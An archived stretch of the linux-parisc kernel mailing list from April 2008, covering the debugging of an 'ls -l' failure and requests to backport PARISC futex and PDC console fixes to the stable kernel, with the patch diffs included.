	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754797AbYDFXhI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Apr 2008 19:37:08 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C157C4FC9; Sun,  6 Apr 2008 19:37:05 -0400 (EDT)
In-Reply-To: <20080406224204.GE16451@parisc-linux.org> from "Matthew Wilcox" at Apr 6, 2008 04:42:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:259
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/259>

> If you strace it, what syscall returns -EOPNOTSUPP?

Just wondering if this has something to do with the following:

 (ENOTSUP and EOPNOTSUPP have the same value  on  Linux,
  but  according  to POSIX.1 these error values should be
  distinct.)

Doing a google on the subject, it seems that this is a known debian bug.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ls -l is broken
Date: Fri, 11 Apr 2008 13:41:23 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20080411174123.GK27073@phobos.i.cabal.ca>
References: <20080406222813.F11CA4E43@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1207935700 3168 80.91.229.12 (11 Apr 2008 17:41:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Apr 2008 17:41:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 11 19:42:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JkNGH-0001Bc-Qb
	for glpp-linux-parisc@gmane.org; Fri, 11 Apr 2008 19:42:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759095AbYDKRlZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 11 Apr 2008 13:41:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760086AbYDKRlZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 11 Apr 2008 13:41:25 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:26011 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759095AbYDKRlY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 11 Apr 2008 13:41:24 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 7EADB17805F; Fri, 11 Apr 2008 13:41:23 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080406222813.F11CA4E43@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:260
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/260>

On Sun, Apr 06, 2008 at 06:28:12PM -0400, John David Anglin wrote:
> I just noticed that ls -l is broken:
> 
> dave@mx3210:~/gnu/gcc/gcc$ ls -l ltsugar.m4
> ls: ltsugar.m4: Operation not supported
> -rw-r--r-- 1 dave dave 4122 Mar 16 16:50 ltsugar.m4
> 
> dave@mx3210:~/gnu/gcc/gcc$ dpkg -l coreutils libc6
> Desired=Unknown/Install/Remove/Purge/Hold
> | Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
> |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
> ||/ Name           Version        Description
> +++-==============-==============-============================================
> ii  coreutils      6.10-3         The GNU core utilities
> ii  libc6          2.7-6          GNU C Library: Shared libraries
> dave@mx3210:~/gnu/gcc/gcc$ uname -a
> Linux mx3210 2.6.22.19 #4 SMP Tue Apr 1 19:24:18 EDT 2008 parisc64 GNU/Linux
> 

I'm seeing this now as well... strace seems to barf on ptrace for some
reason (but is working fine otherwise... odd)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ls -l is broken
Date: Fri, 11 Apr 2008 14:00:16 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20080411180016.GL27073@phobos.i.cabal.ca>
References: <20080406222813.F11CA4E43@hiauly1.hia.nrc.ca> <20080411174123.GK27073@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1207936830 7274 80.91.229.12 (11 Apr 2008 18:00:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Apr 2008 18:00:30 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 11 20:01:00 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JkNYZ-0000nS-2P
	for glpp-linux-parisc@gmane.org; Fri, 11 Apr 2008 20:00:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760320AbYDKSAS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 11 Apr 2008 14:00:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760467AbYDKSAS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 11 Apr 2008 14:00:18 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:26108 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760320AbYDKSAR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 11 Apr 2008 14:00:17 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 379CD17805F; Fri, 11 Apr 2008 14:00:16 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080411174123.GK27073@phobos.i.cabal.ca>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:261
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/261>

On Fri, Apr 11, 2008 at 01:41:23PM -0400, Kyle McMartin wrote:
> > ii  coreutils      6.10-3         The GNU core utilities
> > ii  libc6          2.7-6          GNU C Library: Shared libraries
> > dave@mx3210:~/gnu/gcc/gcc$ uname -a
> > Linux mx3210 2.6.22.19 #4 SMP Tue Apr 1 19:24:18 EDT 2008 parisc64 GNU/Linux
> 
> I'm seeing this now as well... strace seems to barf on ptrace for some
> reason (but is working fine otherwise... odd)
>

This must be a bug in the new glibc in sid... I'm seeing it on machines
with old kernels upgraded to sid (and, obviously, on machines with brand
new kernels.)

Either that or some glibc change is exposing a bug in our syscalls. I'll
try to puzzle out why ptrace is broken this weekend.

--Kyle 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ls -l is broken
Date: Tue, 15 Apr 2008 01:16:50 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20080415051650.GA22873@phobos.i.cabal.ca>
References: <20080406224204.GE16451@parisc-linux.org> <20080406231000.D53CB4FC8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208236619 32637 80.91.229.12 (15 Apr 2008 05:16:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Apr 2008 05:16:59 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 15 07:17:37 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JldXx-0001Do-S4
	for glpp-linux-parisc@gmane.org; Tue, 15 Apr 2008 07:17:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752982AbYDOFQw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Apr 2008 01:16:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753332AbYDOFQw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Apr 2008 01:16:52 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:26776 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752982AbYDOFQv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Apr 2008 01:16:51 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 4ED15178079; Tue, 15 Apr 2008 01:16:50 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080406231000.D53CB4FC8@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:262
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/262>

On Sun, Apr 06, 2008 at 07:09:59PM -0400, John David Anglin wrote:
> > If you strace it, what syscall returns -EOPNOTSUPP?
> 
> strace is broken and quits before the relevant syscall.  Think I
> mentioned this before is a different context.
> 

Ok, I've fixed up ptrace. The failing syscall was lgetxattr, which, I
presume is failing because selinux is disabled, or something.

So, I assume that it's really just a warning.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Request for backport of [PARISC] futex: special case cmpxchg NULL
	in kernel space
Date: Tue, 15 Apr 2008 10:45:11 -0500
Lines: 85
Approved: news@gmane.org
Message-ID: <1208274312.3131.11.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1208275733 17067 80.91.229.12 (15 Apr 2008 16:08:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Apr 2008 16:08:53 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: stable@kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 15 18:09:15 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JlnM7-00075z-PM
	for glpp-linux-parisc@gmane.org; Tue, 15 Apr 2008 17:46:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751584AbYDOPpS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Apr 2008 11:45:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751849AbYDOPpR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Apr 2008 11:45:17 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:37832 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751584AbYDOPpQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Apr 2008 11:45:16 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 28C0B842C;
	Tue, 15 Apr 2008 10:45:14 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1208274314; bh=PSz79N5YL150qIaPxuZiGQkb/iDgAvaOK0sv8qLsF3
	s=; l=2364; h=Subject:From:To:Cc:Content-Type:Date:Message-Id:
	 Mime-Version:X-Mailer:Content-Transfer-Encoding; b=G5Ubd0HuwQlKv4C
	lT/ePNraM+CJu5KpGt3EtcH7Nj2NyQPxm+gJLrylOblTFNTGFcGIah9JrhVbkteORv2
	NKE+wpZQSWYB6RqivT6GIN0+wumt2PDjS6BjPFeInCJJra8iV2K9wDv6cByLG5TRPzM
	i4ltMKcH06+qrGPOZAgR7k=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id LEIiHzL79F01; Tue, 15 Apr 2008 10:45:13 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 97DBF7FA8;
	Tue, 15 Apr 2008 10:45:12 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1208274312; bh=PSz79N5YL150qIaPxuZiGQkb/iDgAvaOK0sv8qLsF3
	s=; l=2364; h=Subject:From:To:Cc:Content-Type:Date:Message-Id:
	 Mime-Version:X-Mailer:Content-Transfer-Encoding; b=OFrZqWz9JANbde0
	Xyqgi7hP89OGIFfoM9z9Ti2KVd1uQzpm+CgTrs7zxCvubl0uRPflXrY+NEJ65CvIpQG
	MVx7KX2r4X3/z1FxHSQTI18S2ADVSgrkJbR4GkBabIuxrljsImEFY33xfdqIjVFNY61
	UURpfaChQaqxCLkLjOdpWI=
X-Mailer: Evolution 2.12.3 (2.12.3-3.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:263
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/263>

This is a fix for a bug introduced by tglx into 2.6.25 which we fixed
upstream.  However, he also got it backported to stable, so now 2.6.24.4
panics on boot on parisc.  The attached is the fix.

The upstream version of this patch is:

commit c20a84c91048c76c1379011c96b1a5cee5c7d9a0
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Sat Mar 1 10:25:52 2008 -0800

    [PARISC] futex: special case cmpxchg NULL in kernel space


James

---

From: Kyle McMartin <kyle@shortfin.cabal.ca>
Subject: [PARISC] futex: special case cmpxchg NULL in kernel space

Patch:

commit f9e77acd4060fefbb60a351cdb8d30fca27fe194
Author: Thomas Gleixner <tglx@linutronix.de>
Date:   Sun Feb 24 02:10:05 2008 +0000

    futex: runtime enable pi and robust functionality
 

which was backported to stable based on mainline Commit
a0c1e9073ef7428a14309cba010633a6cd6719ea added code to futex.c
to detect whether futex_atomic_cmpxchg_inatomic was implemented at run
time:

+       curval = cmpxchg_futex_value_locked(NULL, 0, 0);
+       if (curval == -EFAULT)
+               futex_cmpxchg_enabled = 1;

This is bogus on parisc, since page zero in kernel virtual space is the
gateway page for syscall entry, and should not be read from the kernel.
(That, and we really don't like the kernel faulting on its own address
 space...)

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

---
 include/asm-parisc/futex.h |   10 ++++++++--
 1 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/include/asm-parisc/futex.h b/include/asm-parisc/futex.h
index dbee6e6..fdc6d05 100644
--- a/include/asm-parisc/futex.h
+++ b/include/asm-parisc/futex.h
@@ -56,6 +56,12 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 	int err = 0;
 	int uval;
 
+	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
+	 * our gateway page, and causes no end of trouble...
+	 */
+	if (segment_eq(KERNEL_DS, get_fs()) && !uaddr)
+		return -EFAULT;
+
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
 		return -EFAULT;
 
@@ -67,5 +73,5 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 	return uval;
 }
 
-#endif
-#endif
+#endif /*__KERNEL__*/
+#endif /*_ASM_PARISC_FUTEX_H*/
-- 
1.5.3.8



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Request for backport of [PARISC] futex: special case cmpxchg
	NULL in kernel space
Date: Tue, 15 Apr 2008 12:09:03 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20080415160903.GD22873@phobos.i.cabal.ca>
References: <1208274312.3131.11.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208277812 25034 80.91.229.12 (15 Apr 2008 16:43:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Apr 2008 16:43:32 +0000 (UTC)
Cc: stable@kernel.org, Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 15 18:44:04 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JlnjM-0005QS-PN
	for glpp-linux-parisc@gmane.org; Tue, 15 Apr 2008 18:10:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753122AbYDOQJH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Apr 2008 12:09:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753746AbYDOQJF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Apr 2008 12:09:05 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:31925 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753699AbYDOQJE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Apr 2008 12:09:04 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 8BBA417807A; Tue, 15 Apr 2008 12:09:03 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1208274312.3131.11.camel@localhost.localdomain>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:264
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/264>

On Tue, Apr 15, 2008 at 10:45:11AM -0500, James Bottomley wrote:
> This is a fix for a bug introduced by tglx into 2.6.25 which we fixed
> upstream.  However, he also got it backported to stable, so now 2.6.24.4
> panics on boot on parisc.  The attached is the fix.
> 

The fix is fine, but it was misdiagnosed. The problem is actually that
swapper's *mm is unset. I switched it to if (!current->mm) in git,
but as usual I'm a slacker and haven't pushed it anywhere.

+1 for stable from me.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Request for backport of [PARISC] pdc_console: fix bizarre panic on
	boot
Date: Tue, 15 Apr 2008 11:46:03 -0500
Lines: 180
Approved: news@gmane.org
Message-ID: <1208277963.3131.18.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1208278682 28815 80.91.229.12 (15 Apr 2008 16:58:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Apr 2008 16:58:02 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: stable@kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 15 18:58:09 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JloIz-0007Tj-Fi
	for glpp-linux-parisc@gmane.org; Tue, 15 Apr 2008 18:46:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754231AbYDOQqI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Apr 2008 12:46:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755303AbYDOQqI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Apr 2008 12:46:08 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:49656 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754231AbYDOQqG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Apr 2008 12:46:06 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 3D557842C;
	Tue, 15 Apr 2008 11:46:05 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1208277965; bh=9K9+3tjc4JKYpyg/LXhB7/Z1XPzzsa0FSCFgMO2Rfp
	E=; l=5517; h=Subject:From:To:Cc:Content-Type:Date:Message-Id:
	 Mime-Version:X-Mailer:Content-Transfer-Encoding; b=nv2dr7hQvDKEaMx
	YO//n0U8RczyyJQFoPqethCLj5a33DRt8ARq4ziQ36Mb5ryl8aU/7H1+ByENnXb8vLD
	tSQtiZwCvxcIcJ33cm/grLsEJlTlXUXL7b8I+VUmhmjVcIFhKfuDJPDv78+Y2T1E5R5
	Ynq8Oe/ssZFq9A6bsqhv3I=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hN8Yhakmzqug; Tue, 15 Apr 2008 11:46:04 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id EFB8F81BE;
	Tue, 15 Apr 2008 11:46:03 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1208277964; bh=9K9+3tjc4JKYpyg/LXhB7/Z1XPzzsa0FSCFgMO2Rfp
	E=; l=5517; h=Subject:From:To:Cc:Content-Type:Date:Message-Id:
	 Mime-Version:X-Mailer:Content-Transfer-Encoding; b=r2J5q8ys7eYreYg
	fiO7G1dwA4pX9vXdfJS8jpLNThUyUQJ3mGRYI87yvlBdmVRgWJvXHVTLUxzBdhXtFut
	WJzOUOlZXJhNgq90SySTwNjPfV1vzwCqu4Q+M5uyef2RafVDHxkuQwwa9xzc/Bg5MKv
	dVDoAvtdZ2uUO8Jrh/YpqM=
X-Mailer: Evolution 2.12.3 (2.12.3-3.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/265>

Lack of this causes boot panics with the stable kernel on all 2.6.24.x
kernels.  The fix is upstream as:

commit ef1afd4d79f0479960ff36bb5fe6ec6eba1ebff2
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Mon Feb 18 23:34:34 2008 -0800

    [PARISC] pdc_console: fix bizarre panic on boot

James

---

From: Kyle McMartin <kyle@shortfin.cabal.ca>
Subject: [PARISC] pdc_console: fix bizarre panic on boot

Commit:

commit 721fdf34167580ff98263c74cead8871d76936e6
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Thu Dec 6 09:32:15 2007 -0800

    [PARISC] print more than one character at a time for pdc console

introduced a subtle bug by accidentally removing the "static" from
iodc_dbuf. This resulted in, what appeared to be, a trap without
*current set to a task. Probably the result of a trap in real mode
while calling firmware.

Also do other misc clean ups. Since the only input from firmware is non
blocking, share iodc_dbuf between input and output, and spinlock the
only callers.

[jejb: fixed up rejections against the stable tree]

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

---
 arch/parisc/kernel/firmware.c |   27 +++++++++++++++++----------
 arch/parisc/kernel/pdc_cons.c |   19 +++++++++++++++++--
 include/asm-parisc/pdc.h      |    3 +--
 3 files changed, 35 insertions(+), 14 deletions(-)

diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 4ab83d5..7177a6c 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1080,6 +1080,9 @@ void pdc_io_reset_devices(void)
 	spin_unlock_irqrestore(&pdc_lock, flags);
 }
 
+/* locked by pdc_console_lock */
+static int __attribute__((aligned(8)))   iodc_retbuf[32];
+static char __attribute__((aligned(64))) iodc_dbuf[4096];
 
 /**
  * pdc_iodc_print - Console print using IODC.
@@ -1091,24 +1094,20 @@ void pdc_io_reset_devices(void)
  * Since the HP console requires CR+LF to perform a 'newline', we translate
  * "\n" to "\r\n".
  */
-int pdc_iodc_print(unsigned char *str, unsigned count)
+int pdc_iodc_print(const unsigned char *str, unsigned count)
 {
-	/* XXX Should we spinlock posx usage */
 	static int posx;        /* for simple TAB-Simulation... */
-	int __attribute__((aligned(8)))   iodc_retbuf[32];
-	char __attribute__((aligned(64))) iodc_dbuf[4096];
 	unsigned int i;
 	unsigned long flags;
 
-	memset(iodc_dbuf, 0, 4096);
-	for (i = 0; i < count && i < 2048;) {
+	for (i = 0; i < count && i < 79;) {
 		switch(str[i]) {
 		case '\n':
 			iodc_dbuf[i+0] = '\r';
 			iodc_dbuf[i+1] = '\n';
 			i += 2;
 			posx = 0;
-			break;
+			goto print;
 		case '\t':
 			while (posx & 7) {
 				iodc_dbuf[i] = ' ';
@@ -1124,6 +1123,16 @@ int pdc_iodc_print(unsigned char *str, unsigned count)
 		}
 	}
 
